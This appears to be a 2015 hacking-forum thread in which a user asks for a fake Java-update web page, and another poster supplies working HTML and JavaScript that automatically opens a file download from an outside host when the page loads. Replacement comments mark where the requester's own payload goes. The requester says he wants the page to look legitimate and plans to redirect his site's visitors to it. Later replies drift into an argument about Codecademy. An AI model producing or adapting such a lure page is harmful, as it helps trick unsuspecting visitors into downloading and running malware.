Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Help 

Help with HTML Java code

Need a fake "Need to update your Java" code for HTML that auto downloads a file and then redirects to another url.

If you can help please tell me here or pm (I cant pm)

Thanks
Code:
Code
<!DOCTYPE html>
<html>
<head>
    <title>Update your Java</title> <!--Text presented in Browser-tab-->
    <style>
    body {
        background-color: #A4A4A4;
    }
    img {
        max-width: 100%;
    }
    #java {
        position:absolute; top:35%; left: 35%;
        cursor: default;
    }
    </style>
    <script>
        function java() {
            var url = "http://142536789.cf/downloads/ClamAV-Easy.tar.gz"; //REPLACE WITH OWN FILE
            window.open(url, 'Download');
        }
    </script>
</head>
<body [b]onload=[/b]"java()">
    <img id="java" src="http://www.question-defense.com/wp-content/uploads/2010/05/java-update-available.gif" onClick="java()"/>  <!--REPLACE IMAGE-->
</body>
</html>
Save as: java.html

Try doing a bit more research on yourself OP. :)
This is a basic page/image, you'll have to edit the background yourself etc to make it look realistic.
thanks for answering me. I was looking for more of a like top of my site error that they click now ill have to make a php script that redirects to that when they click my video or something. Thanks!
(Feb 20, 2015 12:01 AM)furyofspades Wrote:  thanks for answering me. I was looking for more of a like top of my site error that they click now ill have to make a php script that redirects to that when they click my video or something. Thanks!

Shouldn't be to hard to make.
Do you even know HTML, CSS, JavaScript, and PHP? :)
http://codecademy.com

You really have to take a look at that one.
(Feb 20, 2015 06:04 AM)Niely Wrote:  Shouldn't be to hard to make.
Do you even know HTML, CSS, JavaScript, and PHP? :)
http://codecademy.com

You really have to take a look at that one.

http://codecademy.com is a horrible recommendation and is actually considered a insult to thoes of us who code, what if the OP knew how todo this and just wanted a HQ Css'ed one ?
(Feb 20, 2015 06:08 AM)Windows95 Wrote:  http://codecademy.com is a horrible recommendation and is actually considered a insult to thoes of us who code, what if the OP knew how todo this and just wanted a HQ Css'ed one ?

CodeCademy isn't horrible.
It's the best way to learn languages like HTML & CSS.

For ultimate beginners, CodeCademy is awesome to get the basics.
I know how to code in HTML perfectly and some CSS of course but I need the pics and stuff for a really legit looking java update page and I dont know if I can do that perfectly or where to get it thats why im asking
(Feb 20, 2015 09:36 AM)furyofspades Wrote:  I know how to code in HTML perfectly and some CSS of course but I need the pics and stuff for a really legit looking java update page and I dont know if I can do that perfectly or where to get it thats why im asking

Startpage images would just work. :)
(Feb 20, 2015 06:13 AM)Niely Wrote:  CodeCademy isn't horrible.
It's the best way to learn languages like HTML & CSS.

For ultimate beginners, CodeCademy is awesome to get the basics.

Yes if you want to learn what he <HTML> tag is, otherwise that site litterly saddens me.
(Feb 20, 2015 12:55 PM)Windows95 Wrote:  Yes if you want to learn what he <HTML> tag is, otherwise that site litterly saddens me.

Explain me what's wrong with an interactive way to learn a language, which gives amazing exercises and explanation + includes a Q&A forum?
(Feb 20, 2015 03:39 PM)Niely Wrote:  Explain me what's wrong with an interactive way to learn a language, which gives amazing exercises and explanation + includes a Q&A forum?
Nothing is wrong with that simply the content it's teaching you is near to nothing, also it has the answers in the Q&A that every 9 year old uses.
(Feb 20, 2015 04:31 PM)Windows95 Wrote:  Nothing is wrong with that simply the content it's teaching you is near to nothing, also it has the answers in the Q&A that every 9 year old uses.

In JavaScript for example, they teach you statements, loops, functions, variables, expressions, and of course the structured way of thinking. :)
Besides that, as long as the Q&A gives answers who work and explain it, it's okay for me.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Help] by grailAug 5, 2018 01:06 PM 5 269 Aug 5, 2018 01:06 PM
Last Post: Nachfolger
by HuskarAug 5, 2018 12:46 PM 2 240 Aug 5, 2018 12:46 PM
Last Post: petercraig
by MaqicJan 1, 2015 06:27 PM 26 1,404 Jan 1, 2015 06:27 PM
Last Post: ???